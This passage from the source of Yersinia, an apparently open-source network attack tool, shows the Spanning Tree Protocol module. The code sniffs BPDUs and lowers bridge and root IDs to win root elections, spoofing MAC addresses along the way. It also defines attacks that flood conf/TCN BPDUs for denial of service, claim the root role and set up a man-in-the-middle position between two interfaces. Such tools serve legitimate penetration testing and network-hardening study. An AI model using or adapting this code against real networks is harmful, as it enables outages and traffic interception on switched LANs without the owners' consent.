(xstp_learn_packet(attacks, NULL, &attacks->attack_th.stop, stp_data,&header) < 0) xstp_th_nondos_other_role_exit(attacks); xstp_increment_bridgeid(stp_data); /* set a valid root pathcost */ stp_data->root_pc = 666; if ( ! thread_create( &attacks->helper_th, &xstp_send_hellos, attacks ) ) { while ( !attacks->attack_th.stop ) { #ifdef NEED_USLEEP thread_usleep(100000); #endif } } else write_log(0,"xstp_th_nondos_other_role thread_create error\n" ); xstp_th_nondos_other_role_exit( attacks ); } void xstp_th_nondos_other_role_exit( struct attacks *attacks ) { attack_th_exit(attacks); pthread_mutex_unlock(&attacks->attack_th.finished); pthread_exit(NULL); } /* * Get a packet from 'iface' interface, parse the data and copy * it to the 'data' structure. * If iface == ALL_INTS ge a packet from any interface */ int8_t xstp_learn_packet(struct attacks *attacks, char *iface, u_int8_t *stop, void *data, struct pcap_pkthdr *header ) { struct stp_data *stp_data = (struct stp_data *)data; struct interface_data *iface_data; struct libnet_802_3_hdr *ether; #ifdef LBL_ALIGN u_int16_t aux_short; u_int32_t aux_long; #endif u_int8_t *packet, *stp_conf; int8_t got_bpdu_conf = 0; dlist_t *p; if (iface) { p = dlist_search(attacks->used_ints->list, attacks->used_ints->cmp, iface); if (!p) return -1; iface_data = (struct interface_data *) dlist_data(p); } else iface_data = NULL; packet = (u_int8_t *)calloc( 1, SNAPLEN ); if ( ! packet ) return -1; while (!got_bpdu_conf && ! (*stop) ) { interfaces_get_packet(attacks->used_ints, iface_data, stop, header, packet, PROTO_STP, NO_TIMEOUT); if (*stop) { free(packet); return -1; } stp_conf = (packet + LIBNET_802_3_H + LIBNET_802_2_H); switch (*(stp_conf+3)) { case BPDU_CONF_STP: case BPDU_CONF_RSTP: got_bpdu_conf = 1; ether = (struct libnet_802_3_hdr *) (packet); memcpy((void *)stp_data->mac_source, (void *)ether->_802_3_shost, ETHER_ADDR_LEN); memcpy((void *)stp_data->mac_dest, (void *)ether->_802_3_dhost, ETHER_ADDR_LEN); #ifdef LBL_ALIGN memcpy((void *)&aux_short,stp_conf,2); stp_data->id = ntohs(aux_short); #else stp_data->id = ntohs(*(u_int16_t *)stp_conf); #endif stp_data->version = *((u_int8_t *)stp_conf+2); stp_data->bpdu_type = *((u_int8_t *)stp_conf+3); stp_data->flags = *((u_int8_t *)stp_conf+4); memcpy((void *)stp_data->root_id, (void *)(stp_conf+5), 8); memcpy((void *)stp_data->bridge_id, (void *)(stp_conf+17), 8); #ifdef LBL_ALIGN memcpy((void *)&aux_long,(stp_conf+13),4); stp_data->root_pc = ntohl(aux_long); #else stp_data->root_pc = ntohl(*(u_int32_t *)(stp_conf+13)); #endif #ifdef LBL_ALIGN memcpy((void *)&aux_short,(stp_conf+25),2); stp_data->port_id = ntohs(aux_short); #else stp_data->port_id = ntohs(*(u_int16_t *)(stp_conf+25)); #endif #ifdef LBL_ALIGN memcpy((void *)&stp_data->message_age,(stp_conf+27),2); #else stp_data->message_age = *(u_int16_t *)(stp_conf+27); #endif #ifdef LBL_ALIGN memcpy((void *)&stp_data->max_age,(stp_conf+29),2); #else stp_data->max_age = *(u_int16_t *)(stp_conf+29); #endif #ifdef LBL_ALIGN memcpy((void *)&stp_data->hello_time,(stp_conf+31),2); #else stp_data->hello_time = *(u_int16_t *)(stp_conf+31); #endif #ifdef LBL_ALIGN memcpy((void *)&stp_data->forward_delay,(stp_conf+33),2); #else stp_data->forward_delay = *(u_int16_t *)(stp_conf+33); #endif break; case BPDU_TCN: break; } /* switch */ } /* While got */ free(packet); return 0; } /* Decrement the bridge id to win the STP elections :) */ int8_t xstp_decrement_bridgeid(struct stp_data *stp_data) { /* Well, we need to be the *TRUE* root id... */ if ( stp_data->root_id[5] != 0 ) stp_data->root_id[5]--; else { if ( stp_data->root_id[6] != 0 ) stp_data->root_id[6]--; else stp_data->root_id[7]--; } /* And we also need to be the *TRUE* bridge id... */ if ( stp_data->bridge_id[5] != 0 ) stp_data->bridge_id[5]--; else { if ( stp_data->bridge_id[6] != 0 ) stp_data->bridge_id[6]--; else stp_data->bridge_id[7]--; } /* change our source MAC address to be equal our (sniffed) bridge id */ memcpy((void *) stp_data->mac_source, (void *)&stp_data->bridge_id[2], 6); return 0; } int8_t xstp_increment_bridgeid(struct stp_data *stp_data) { /* We need to be the a valid bridge id... */ if ( stp_data->bridge_id[5] != 0 ) stp_data->bridge_id[5]++; else { if ( stp_data->bridge_id[6] != 0 ) stp_data->bridge_id[6]++; else stp_data->bridge_id[7]++; } /* change our source MAC address to be equal our (sniffed) bridge id */ memcpy((void *) stp_data->mac_source, (void *)&stp_data->bridge_id[2], 6); return 0; } /* * Return formated strings of each BPDU field */ char ** xstp_get_printable_packet(struct pcap_data *data) { struct libnet_802_3_hdr *ether; u_int8_t *stp_data; #ifdef LBL_ALIGN u_int16_t aux_short; u_int32_t aux_long; #endif char **field_values; if ((field_values = (char **) protocol_create_printable(protocols[PROTO_STP].nparams, protocols[PROTO_STP].parameters)) == NULL) { write_log(0, "Error in calloc\n"); return NULL; } ether = (struct libnet_802_3_hdr *) data->packet; stp_data = (u_int8_t *) (data->packet + LIBNET_802_3_H + LIBNET_802_2_H); /* Source MAC */ snprintf(field_values[XSTP_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", ether->_802_3_shost[0], ether->_802_3_shost[1], ether->_802_3_shost[2], ether->_802_3_shost[3], ether->_802_3_shost[4], ether->_802_3_shost[5]); /* Destination MAC */ snprintf(field_values[XSTP_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", ether->_802_3_dhost[0], ether->_802_3_dhost[1], ether->_802_3_dhost[2], ether->_802_3_dhost[3], ether->_802_3_dhost[4], ether->_802_3_dhost[5]); /* ID */ #ifdef LBL_ALIGN memcpy((void *)&aux_short,stp_data,2); snprintf(field_values[XSTP_ID], 5, "%04hX", ntohs(aux_short)); #else snprintf(field_values[XSTP_ID], 5, "%04hX", ntohs(*(u_int16_t *)stp_data)); #endif /* Version */ snprintf(field_values[XSTP_VER], 3, "%02X", *((u_int8_t *)(stp_data+2))); /* BPDU Type */ snprintf(field_values[XSTP_TYPE], 3, "%02X", *((u_int8_t *)(stp_data+3))); if ((*(u_int8_t *)(stp_data + 3)) != BPDU_TCN) { /* Flags */ snprintf(field_values[XSTP_FLAGS], 3, "%02X", *((u_int8_t *)stp_data+4)); /* Root ID */ snprintf(field_values[XSTP_ROOTID], 18, "%02X%02X.%02X%02X%02X%02X%02X%02X", *(stp_data+5)&0xFF, *(stp_data+6)&0xFF, *(stp_data+7)&0xFF, *(stp_data+8)&0xFF, *(stp_data+9)&0xFF, *(stp_data+10)&0xFF, *(stp_data+11)&0xFF, *(stp_data+12)&0xFF); /* Root Pathcost */ #ifdef LBL_ALIGN memcpy((void *)&aux_long,(stp_data+13),4); snprintf(field_values[XSTP_PATHCOST], 9, "%08X", (int32_t) ntohl(aux_long)); #else snprintf(field_values[XSTP_PATHCOST], 9, "%08X", (int32_t) ntohl(*(int32_t *)(stp_data+13))); #endif /* Bridge ID */ snprintf(field_values[XSTP_BRIDGEID], 18, "%02X%02X.%02X%02X%02X%02X%02X%02X", *(stp_data+17)&0xFF, *(stp_data+18)&0xFF, *(stp_data+19)&0xFF, *(stp_data+20)&0xFF, *(stp_data+21)&0xFF, *(stp_data+22)&0xFF, *(stp_data+23)&0xFF, *(stp_data+24)&0xFF); /* Port ID */ #ifdef LBL_ALIGN memcpy((void *)&aux_short,(stp_data+25),2); snprintf(field_values[XSTP_PORTID], 5, "%04hX", ntohs(aux_short)); #else snprintf(field_values[XSTP_PORTID], 5, "%04hX", ntohs(*(u_int16_t *)(stp_data+25))); #endif /* Message age */ #ifdef LBL_ALIGN memcpy((void *)&aux_short,(stp_data+27),2); snprintf(field_values[XSTP_AGE], 5, "%04hX", aux_short); #else snprintf(field_values[XSTP_AGE], 5, "%04hX", *(u_int16_t *)(stp_data+27)); #endif /* Max age */ #ifdef LBL_ALIGN memcpy((void *)&aux_short,(stp_data+29),2); snprintf(field_values[XSTP_MAX], 5, "%04hX", aux_short); #else snprintf(field_values[XSTP_MAX], 5, "%04hX", *(u_int16_t *)(stp_data+29)); #endif /* Hello time */ #ifdef LBL_ALIGN memcpy((void *)&aux_short,(stp_data+31),2); snprintf(field_values[XSTP_HELLO], 5, "%04hX", aux_short); #else snprintf(field_values[XSTP_HELLO], 5, "%04hX", *(u_int16_t *)(stp_data+31)); #endif /* Forward delay */ #ifdef LBL_ALIGN memcpy((void *)&aux_short,(stp_data+33),2); snprintf(field_values[XSTP_FWD], 5, "%04hX", aux_short); #else snprintf(field_values[XSTP_FWD], 5, "%04hX", *(u_int16_t *)(stp_data+33)); #endif } return (char **)field_values; } char ** xstp_get_printable_store(struct term_node *node) { struct stp_data *stp; char **field_values; /* smac + dmac + id + ver + type + flags + rootid + bridgeid + pathcost + * + portid + age + max + hello + fwd + null = 15 */ if ((field_values = (char **) protocol_create_printable(protocols[PROTO_STP].nparams, protocols[PROTO_STP].parameters)) == NULL) { write_log(0, "Error in calloc\n"); return NULL; } if (node == NULL) stp = protocols[PROTO_STP].default_values; else stp = (struct stp_data *) node->protocol[PROTO_STP].tmp_data; /* Source MAC */ snprintf(field_values[XSTP_SMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", stp->mac_source[0], stp->mac_source[1], stp->mac_source[2], stp->mac_source[3], stp->mac_source[4], stp->mac_source[5]); /* Destination MAC */ snprintf(field_values[XSTP_DMAC], 18, "%02X:%02X:%02X:%02X:%02X:%02X", stp->mac_dest[0], stp->mac_dest[1], stp->mac_dest[2], stp->mac_dest[3], stp->mac_dest[4], stp->mac_dest[5]); /* ID */ snprintf(field_values[XSTP_ID], 5, "%04hX", stp->id); /* Version */ snprintf(field_values[XSTP_VER], 3, "%02X", stp->version); /* BPDU Type */ snprintf(field_values[XSTP_TYPE], 3, "%02X", stp->bpdu_type); /* Flags */ snprintf(field_values[XSTP_FLAGS], 3, "%02X", stp->flags); /* Root ID */ snprintf(field_values[XSTP_ROOTID], 18, "%02X%02X.%02X%02X%02X%02X%02X%02X", stp->root_id[0]&0xFF, stp->root_id[1]&0xFF, stp->root_id[2]&0xFF, stp->root_id[3]&0xFF, stp->root_id[4]&0xFF, stp->root_id[5]&0xFF, stp->root_id[6]&0xFF, stp->root_id[7]&0xFF); /* Root Pathcost */ snprintf(field_values[XSTP_PATHCOST], 9, "%08X", (u_int32_t)stp->root_pc); /* Bridge ID */ snprintf(field_values[XSTP_BRIDGEID], 18, "%02X%02X.%02X%02X%02X%02X%02X%02X", stp->bridge_id[0]&0xFF, stp->bridge_id[1]&0xFF, stp->bridge_id[2]&0xFF, stp->bridge_id[3]&0xFF, stp->bridge_id[4]&0xFF, stp->bridge_id[5]&0xFF, stp->bridge_id[6]&0xFF, stp->bridge_id[7]&0xFF); /* Port ID */ snprintf(field_values[XSTP_PORTID], 5, "%04hX", stp->port_id); /* Message age */ snprintf(field_values[XSTP_AGE], 5, "%04hX", stp->message_age); /* Max age */ snprintf(field_values[XSTP_MAX], 5, "%04hX", stp->max_age); /* Hello time */ snprintf(field_values[XSTP_HELLO], 5, "%04hX", stp->hello_time); /* Forward delay */ snprintf(field_values[XSTP_FWD], 5, "%04hX", stp->forward_delay); return (char **)field_values; } int8_t xstp_update_field(int8_t state, struct term_node *node, void *value) { struct stp_data *stp_data; if (node == NULL) stp_data = protocols[PROTO_STP].default_values; else stp_data = node->protocol[PROTO_STP].tmp_data; switch(state) { /* Source MAC */ case XSTP_SMAC: memcpy((void *)stp_data->mac_source, (void *)value, ETHER_ADDR_LEN); break; /* Destination MAC */ case XSTP_DMAC: memcpy((void *)stp_data->mac_dest, (void *)value, ETHER_ADDR_LEN); break; /* ID */ case XSTP_ID: stp_data->id = *(u_int8_t *)value; break; /* Version */ case XSTP_VER: stp_data->version = *(u_int8_t *)value; break; /* BPDU Type */ case XSTP_TYPE: stp_data->bpdu_type = *(u_int8_t *)value; break; /* Flags */ case XSTP_FLAGS: stp_data->flags = *(u_int8_t *)value; break; /* Root ID */ case XSTP_ROOTID: memcpy((void *)stp_data->root_id, (void *)value, ETHER_ADDR_LEN + 2); break; /* Bridge ID */ case XSTP_BRIDGEID: memcpy((void *)stp_data->bridge_id, (void *)value, ETHER_ADDR_LEN + 2); break; /* Root Pathcost */ case XSTP_PATHCOST: stp_data->root_pc = *(u_int32_t *)value; break; /* Port ID */ case XSTP_PORTID: stp_data->port_id = *(u_int16_t *)value; break; /* Message age */ case XSTP_AGE: stp_data->message_age = *(u_int16_t *)value; break; /* Max age */ case XSTP_MAX: stp_data->max_age = *(u_int16_t *)value; break; /* Hello time */ case XSTP_HELLO: stp_data->hello_time = *(u_int16_t *)value; break; /* Forward delay */ case XSTP_FWD: stp_data->forward_delay = *(u_int16_t *)value; break; default: break; } return 0; } int8_t xstp_init_attribs(struct term_node *node) { struct stp_data *stp_data; #ifdef LBL_ALIGN u_int16_t temp; u_int8_t ether_temp[6]; #endif stp_data = node->protocol[PROTO_STP].tmp_data; stp_data->id = XSTP_DFL_PROTOCOL_ID; stp_data->version = XSTP_DFL_VERSION; stp_data->bpdu_type = XSTP_DFL_BPDU_TYPE; stp_data->flags = 0; attack_gen_mac(stp_data->mac_source); stp_data->mac_source[0] &= 0x0E; #ifdef LBL_ALIGN attack_gen_mac(ether_temp); memcpy((void *)&stp_data->bridge_id[2], (void *)ether_temp,6); attack_gen_mac(ether_temp); memcpy((void *)&stp_data->root_id[2], (void *)ether_temp,6); #else attack_gen_mac((u_int8_t *)&(stp_data->bridge_id[2])); attack_gen_mac((u_int8_t *)&(stp_data->root_id[2])); #endif #ifdef LBL_ALIGN temp = libnet_get_prand(LIBNET_PRu16); memcpy((void *)stp_data->bridge_id, (void *)&temp,2); temp = libnet_get_prand(LIBNET_PRu16); memcpy((void *)stp_data->root_id, (void *)&temp,2); #else *((u_int16_t *) (stp_data->bridge_id)) = libnet_get_prand(LIBNET_PRu16); *((u_int16_t *) (stp_data->root_id)) = libnet_get_prand(LIBNET_PRu16); #endif parser_vrfy_mac("01:80:C2:00:00:00",stp_data->mac_dest); stp_data->root_pc = 0; stp_data->port_id = XSTP_DFL_PORT_ID; stp_data->message_age = XSTP_DFL_MSG_AGE; stp_data->max_age = XSTP_DFL_MAX_AGE; stp_data->hello_time = XSTP_DFL_HELLO_TIME; stp_data->forward_delay = XSTP_DFL_FORW_DELAY; stp_data->rstp_data = NULL; stp_data->rstp_len = 0; stp_data->do_ack = 1; return 0; } int8_t xstp_load_values(struct pcap_data *data, void *values) { struct libnet_802_3_hdr *ether; struct stp_data *stp_data; u_int8_t *stp; #ifdef LBL_ALIGN u_int16_t aux_short; u_int32_t aux_long; #endif stp_data = (struct stp_data *)values; ether = (struct libnet_802_3_hdr *) data->packet; stp = (u_int8_t *) (data->packet + LIBNET_802_3_H + LIBNET_802_2_H); /* Source MAC */ memcpy(stp_data->mac_source, ether->_802_3_shost, ETHER_ADDR_LEN); /* Destination MAC */ memcpy(stp_data->mac_dest, ether->_802_3_dhost, ETHER_ADDR_LEN); /* ID */ #ifdef LBL_ALIGN memcpy((void *)&aux_short,stp,2); stp_data->id = ntohs(aux_short); #else stp_data->id = ntohs(*(u_int16_t *)stp); #endif /* Version */ stp_data->version = *((u_int8_t *)stp+2); /* BPDU Type */ stp_data->bpdu_type = *((u_int8_t *)stp+3); /* Flags */ stp_data->flags = *((u_int8_t *)stp+4); /* Root ID */ memcpy(stp_data->root_id, (stp+5), 8); /* Bridge ID */ memcpy(stp_data->bridge_id, (stp+17), 8); /* Root Pathcost */ #ifdef LBL_ALIGN memcpy((void *)&aux_long,(stp+13),4); stp_data->root_pc = ntohl(aux_long); #else stp_data->root_pc = ntohl(*(u_int32_t *)(stp+13)); #endif /* Port ID */ #ifdef LBL_ALIGN memcpy((void *)&aux_short,(stp+25),2); stp_data->port_id = ntohs(aux_short); #else stp_data->port_id = ntohs(*(u_int16_t *)(stp+25)); #endif /* Message age */ #ifdef LBL_ALIGN memcpy((void *)&stp_data->message_age,(stp+27),2); #else stp_data->message_age = *(u_int16_t *)(stp+27); #endif /* Max age */ #ifdef LBL_ALIGN memcpy((void *)&stp_data->max_age,(stp+29),2); #else stp_data->max_age = *(u_int16_t *)(stp+29); #endif /* Hello time */ #ifdef LBL_ALIGN memcpy((void *)&stp_data->hello_time,(stp+31),2); #else stp_data->hello_time = *(u_int16_t *)(stp+31); #endif /* Forward delay */ #ifdef LBL_ALIGN memcpy((void *)&stp_data->forward_delay,(stp+33),2); #else stp_data->forward_delay = *(u_int16_t *)(stp+33); #endif return 0; } int8_t xstp_com_version(void *aux_node, void *value, char *printable) { struct term_node *node = aux_node; u_int8_t *version = value; struct stp_data *stp_data; stp_data = node->protocol[PROTO_STP].tmp_data; if (*version == RSTP_VERSION) { stp_data->version = RSTP_VERSION; if (!stp_data->rstp_data) { stp_data->rstp_data = (u_int8_t *)calloc(1,1); if (stp_data->rstp_data == NULL) { thread_error("xstp_com_version calloc error",errno); return -1; } /*memcpy((void *)stp_data->rstp_data, (void *)"\x00", 1);*/ stp_data->rstp_len = 1; } } else { if (stp_data->rstp_data) { free(stp_data->rstp_data); stp_data->rstp_len = 0; } } return 0; } int8_t xstp_com_type(void *aux_node, void *value, char *printable) { struct term_node *node = aux_node; u_int8_t *type = value; struct stp_data *stp_data; stp_data = node->protocol[PROTO_STP].tmp_data; switch(*type) { case 0: stp_data->bpdu_type = BPDU_CONF_STP; if (stp_data->rstp_data) { free(stp_data->rstp_data); stp_data->rstp_len = 0; } break; case 1: stp_data->version = RSTP_VERSION; stp_data->bpdu_type = BPDU_CONF_RSTP; if (!stp_data->rstp_data) { stp_data->rstp_data = (u_int8_t *)calloc(1,1); if (stp_data->rstp_data == NULL) { thread_error("xstp_com_version calloc error",errno); return -1; } } /* memcpy((void *)stp_data->rstp_data, (void *)"\x00", 1);*/ stp_data->rstp_len = 1; break; case 2: stp_data->bpdu_type = BPDU_TCN; if (stp_data->rstp_data) { free(stp_data->rstp_data); stp_data->rstp_len = 0; } break; } return 0; } int8_t xstp_com_other(void *aux_node, void *value, char *printable) { u_int16_t *aux16 = value; *aux16 = htons( ((*aux16) * 256) ); return 0; } int8_t xstp_end(struct term_node *node) { return 0; }
C/C++
yersinia/src/xstp.h
/* xstp.h * Definitions for Spanning Tree Protocol * * Yersinia * By David Barroso <[email protected]> and Alfredo Andres <[email protected]> * Copyright 2005-2017 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __XSTP_H__ #define __XSTP_H__ #include <libnet.h> #include "terminal-defs.h" #include "interfaces.h" #define BPDU_CONF_STP 0x00 #define BPDU_CONF_RSTP 0x02 #define BPDU_TCN 0x80 /* STP stuff */ #define STP_VERSION 0x00 #define STP_TOPOLOGY_CHANGE 0x01 #define STP_TOPOLOGY_CHANGE_ACK 0x80 /* RSTP stuff */ #define RSTP_VERSION 0x02 #define RSTP_NOFLAGS 0 #define RSTP_TOPOLOGY_CHANGE 0x01 #define RSTP_PROPOSAL 0x02 #define RSTP_LEARNING 0x10 #define RSTP_FORWARDING 0x20 #define RSTP_AGREEMENT 0x40 #define RSTP_PORT_ROLE_MASK 0x0C #define RSTP_PORT_ROLE_SHIFT 0x02 #define RSTP_PORT_ROLE_UNKNOWN 0 #define RSTP_PORT_ROLE_BACKUP 0x04 #define RSTP_PORT_ROLE_ROOT 0x08 #define RSTP_PORT_ROLE_DESIGNATED 0x0C #define RSTP_TOPOLOGY_CHANGE_ACK 0x80 /* MSTP stuff */ #define MSTP_VERSION 0x03 struct xstp_mitm_args { struct attacks *attacks; struct stp_data *stp_data2; }; static const struct tuple_type_desc xstp_version[] = { { STP_VERSION, "STP" }, { RSTP_VERSION, "RSTP" }, { MSTP_VERSION, "MSTP" }, { 0, NULL } }; static const struct tuple_type_desc xstp_type[] = { { BPDU_CONF_STP, "Conf STP" }, { BPDU_CONF_RSTP, "Conf (M|R)STP" }, { BPDU_TCN, "TCN" }, { 0, NULL } }; static const struct tuple_type_desc xstp_flags[] = { { 0, "NO FLAGS" }, { STP_TOPOLOGY_CHANGE, "TC" }, { STP_TOPOLOGY_CHANGE_ACK, "TC ACK" }, { RSTP_PROPOSAL, "Proposal" }, { RSTP_LEARNING, "Learning" }, { RSTP_FORWARDING, "Forwarding" }, { RSTP_AGREEMENT, "Agreement" }, { 0, NULL } }; static struct proto_features xstp_features[] = { { F_LLC_DSAP, LIBNET_SAP_STP }, { -1, 0 } }; /* Default values */ #define XSTP_DFL_PROTOCOL_ID 0x0000 #define XSTP_DFL_VERSION STP_VERSION #define XSTP_DFL_BPDU_TYPE BPDU_CONF_STP #define XSTP_DFL_PORT_ID 0x8002 #define XSTP_DFL_MSG_AGE 0 #define XSTP_DFL_MAX_AGE 20 #define XSTP_DFL_HELLO_TIME 2 #define XSTP_DFL_FORW_DELAY 15 #define XSTP_DFL_PORT_ROLE RSTP_PORT_ROLE_UNKNOWN #define XSTP_DFL_PORT_STATE (RSTP_FORWARDING | RSTP_AGREEMENT) #define XSTP_SMAC 0 #define XSTP_DMAC 1 #define XSTP_ID 2 #define XSTP_VER 3 #define XSTP_TYPE 4 #define XSTP_FLAGS 5 #define XSTP_ROOTID 6 #define XSTP_PATHCOST 7 #define XSTP_BRIDGEID 8 #define XSTP_PORTID 9 #define XSTP_AGE 10 #define XSTP_MAX 11 #define XSTP_HELLO 12 #define XSTP_FWD 13 int8_t xstp_com_version(void *, void *, char *); int8_t xstp_com_type(void *, void *, char *); int8_t xstp_com_other(void *, void *, char *); /* Struct needed for using protocol fields within the network client */ struct commands_param xstp_comm_params[] = { { XSTP_SMAC, "source", "Source MAC", 6, FIELD_MAC, "Set source MAC address", " H:H:H:H:H:H 48 bit mac address", 17, 1, 0, NULL, NULL }, { XSTP_DMAC, "dest", "Destination MAC", 6, FIELD_MAC, "Set destination MAC address", " H:H:H:H:H:H 48 bit mac address", 17, 1, 0, NULL, NULL }, { XSTP_ID, "id", "Id", 2, FIELD_HEX, "Set id", " <00-FFFF> id", 4, 2, 0, NULL, NULL }, { XSTP_VER, "version", "Ver", 1, FIELD_HEX, "Set spanning tree version", " <00-FF> Spannig tree version", 2, 2, 0, xstp_com_version, xstp_version }, { XSTP_TYPE, "type", "Type", 1, FIELD_HEX, "Set bpdu type", " <00-FF> bpdu type", 2, 2, 0, xstp_com_type, xstp_type }, { XSTP_FLAGS, "flags", "Flags", 1,FIELD_HEX, "Set bpdu flags", " <00-FF> bpdu flags", 2, 2, 0, NULL, xstp_flags }, { XSTP_ROOTID, "rootid", "RootId", 8, FIELD_BRIDGEID, "Set root id", " HH.HHHHHH Root id", 17, 2, 1, NULL, NULL }, { XSTP_PATHCOST, "cost", "Pathcost", 4, FIELD_HEX, "Set the spanning tree root path cost", " <00-FFFFFFFF> root path cost", 8, 2, 0, NULL, NULL }, { XSTP_BRIDGEID, "bridgeid", "BridgeId", 8, FIELD_BRIDGEID, "Set bridge id", " HH.HHHHHH Bridge id", 17, 3, 1, NULL, NULL }, { XSTP_PORTID, "portid", "Port", 2, FIELD_HEX, "Set port id", " <00-FFFF> port id", 4, 3, 1, NULL, NULL }, { XSTP_AGE, "message", "Age", 2, FIELD_HEX, "Set message age", " <00-FFFF> Estimated time in seconds since the root transmitted its config message", 4, 3, 0, xstp_com_other, NULL }, { XSTP_MAX, "max-age", "Max", 2, FIELD_HEX, "Set the max age interval for the spanning tree", " <00-FFFF> maximum number of seconds the information in a BPDU is valid", 4, 3, 0, xstp_com_other, NULL }, { XSTP_HELLO, "hello", "Hello", 2, FIELD_HEX, "Set the hello interval for the spanning tree", " <00-FFFF> number of seconds between generation of config BPDUs", 4, 3, 0, xstp_com_other, NULL }, { XSTP_FWD, "forward", "Fwd", 2, FIELD_HEX, "Set the forward delay for the spanning tree", " <00-FFFF> number of seconds for the forward delay timer", 4, 3, 0, xstp_com_other, NULL }, { 0, "defaults", NULL, 0, FIELD_DEFAULT, "Set all values to default", " <cr>", 0, 0, 0, NULL, NULL }, { 0, "interface", NULL, IFNAMSIZ, FIELD_IFACE, "Set network interface to use", " WORD Network interface", IFNAMSIZ, 0, 0, NULL, NULL } }; /* XSTP mode stuff */ struct stp_data { /* STP and Ethernet fields*/ u_int8_t mac_source[ETHER_ADDR_LEN]; u_int8_t mac_dest[ETHER_ADDR_LEN]; u_int16_t id; u_int8_t version; u_int8_t bpdu_type; u_int8_t flags; u_int8_t root_id[8]; u_int32_t root_pc; u_int8_t bridge_id[8]; u_int16_t port_id; u_int16_t message_age; u_int16_t max_age; u_int16_t hello_time; u_int16_t forward_delay; u_int8_t *rstp_data; u_int8_t rstp_len; int8_t do_ack; /* Do TOP_CHANGE_ACK */ }; void xstp_th_send_bpdu_conf(void *); void xstp_th_send_bpdu_conf_exit(struct attacks *); int8_t xstp_send_all_bpdu_conf(struct attacks *); int8_t xstp_send_bpdu_conf(u_int8_t, struct stp_data *, struct interface_data *); void xstp_th_send_bpdu_tcn(void *); void xstp_th_send_bpdu_tcn_exit(struct attacks *); int8_t xstp_send_all_bpdu_tcn(struct attacks *); int8_t xstp_send_bpdu_tcn(u_int8_t, struct stp_data *, struct interface_data *); void xstp_th_dos_conf(void *); void xstp_th_dos_conf_exit(struct attacks *); void xstp_th_dos_tcn(void *); void xstp_th_dos_tcn_exit(struct attacks *); void xstp_th_nondos_role(void *); void xstp_th_nondos_role_exit(struct attacks *); void xstp_th_nondos_other_role(void *); void xstp_th_nondos_other_role_exit(struct attacks *); void xstp_th_dos_mitm(void *); void xstp_th_dos_mitm_exit(struct attacks *); /*void xstp_dos_elect(void); void xstp_nondos_main_read_pcap(void); void xstp_pcap_callback(struct pcap_pkthdr *, const u_char *, int);*/ #define XSTP_MITM_IFACE1 0 #define XSTP_MITM_IFACE2 1 static struct attack_param xstp_mitm_params[] = { { NULL, "Interface 1", 1, FIELD_ENABLED_IFACE, IFNAMSIZ, NULL }, { NULL, "Interface 2", 1, FIELD_ENABLED_IFACE, IFNAMSIZ, NULL } }; #define STP_ATTACK_SEND_CONF 0 #define STP_ATTACK_SEND_TCN 1 #define STP_ATTACK_DOS_CONF 2 #define STP_ATTACK_DOS_TCN 3 #define STP_ATTACK_NONDOS_RR 4 #define STP_ATTACK_NONDOS_OR 5 #define STP_ATTACK_RR_MITM 6 /*#define STP_ATTACK_DOS_ELECT 6 #define STP_ATTACK_DOS_DISSAP 7 */ static struct _attack_definition stp_attack[] = { { STP_ATTACK_SEND_CONF, "sending conf BPDU", NONDOS, SINGLE, xstp_th_send_bpdu_conf, NULL, 0 }, { STP_ATTACK_SEND_TCN, "sending tcn BPDU", NONDOS, SINGLE, xstp_th_send_bpdu_tcn, NULL, 0 }, { STP_ATTACK_DOS_CONF, "sending conf BPDUs", DOS, CONTINOUS, xstp_th_dos_conf, NULL, 0 }, { STP_ATTACK_DOS_TCN, "sending tcn BPDUs", DOS, CONTINOUS, xstp_th_dos_tcn, NULL, 0 }, { STP_ATTACK_NONDOS_RR, "Claiming Root Role", NONDOS, CONTINOUS, xstp_th_nondos_role, NULL, 0 }, { STP_ATTACK_NONDOS_OR, "Claiming Other Role", NONDOS, CONTINOUS, xstp_th_nondos_other_role, NULL, 0 }, { STP_ATTACK_RR_MITM, "Claiming Root Role with MiTM", DOS, CONTINOUS, xstp_th_dos_mitm, xstp_mitm_params, SIZE_ARRAY(xstp_mitm_params) }, /* { STP_ATTACK_DOS_ELECT, "Causing Eternal Root Elections", NONDOS, xstp_th_nondos_role, NULL, 0 }, { STP_ATTACK_DOS_DISSAP, "Causing Root Dissappearance", NONDOS, xstp_th_nondos_role, NULL, 0 },*/ { 0, NULL, 0, 0, NULL, NULL, 0 } }; void xstp_register(void); void xstp_send_hellos(void *); void xstp_send_hellos_mitm(void *); int8_t xstp_learn_packet(struct attacks *, char *, u_int8_t *, void *, struct pcap_pkthdr *); int8_t xstp_decrement_bridgeid(struct stp_data *); int8_t xstp_increment_bridgeid(struct stp_data *); char **xstp_get_printable_packet(struct pcap_data *); char **xstp_get_printable_store(struct term_node *); int8_t xstp_update_field(int8_t, struct term_node *, void *); int8_t xstp_init_attribs(struct term_node *); int8_t xstp_load_values(struct pcap_data *, void *); int8_t xstp_init_comms_struct(struct term_node *); int8_t xstp_end(struct term_node *); extern void thread_libnet_error( char *, libnet_t *); //FRED extern int8_t thread_create(pthread_t *, void *, void *); extern int8_t thread_create( THREAD *, void *, void *); extern void write_log( u_int16_t mode, char *msg, ... ); extern int8_t attack_th_exit(struct attacks *); extern void attack_gen_mac(u_int8_t *); extern struct interface_data *interfaces_get_packet(list_t *, struct interface_data *, u_int8_t *, struct pcap_pkthdr *, u_int8_t *, u_int16_t, time_t); extern int8_t parser_command2index(register const struct _attack_definition *, register int8_t); extern int8_t parser_vrfy_mac(char *, u_int8_t *); extern int8_t parser_vrfy_bridge_id(char *, u_int8_t * ); extern void parser_str_tolower( char *); extern struct terminals *terms; extern int8_t bin_data[]; #endif /* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=120: */
C
yersinia/src/yersinia.c
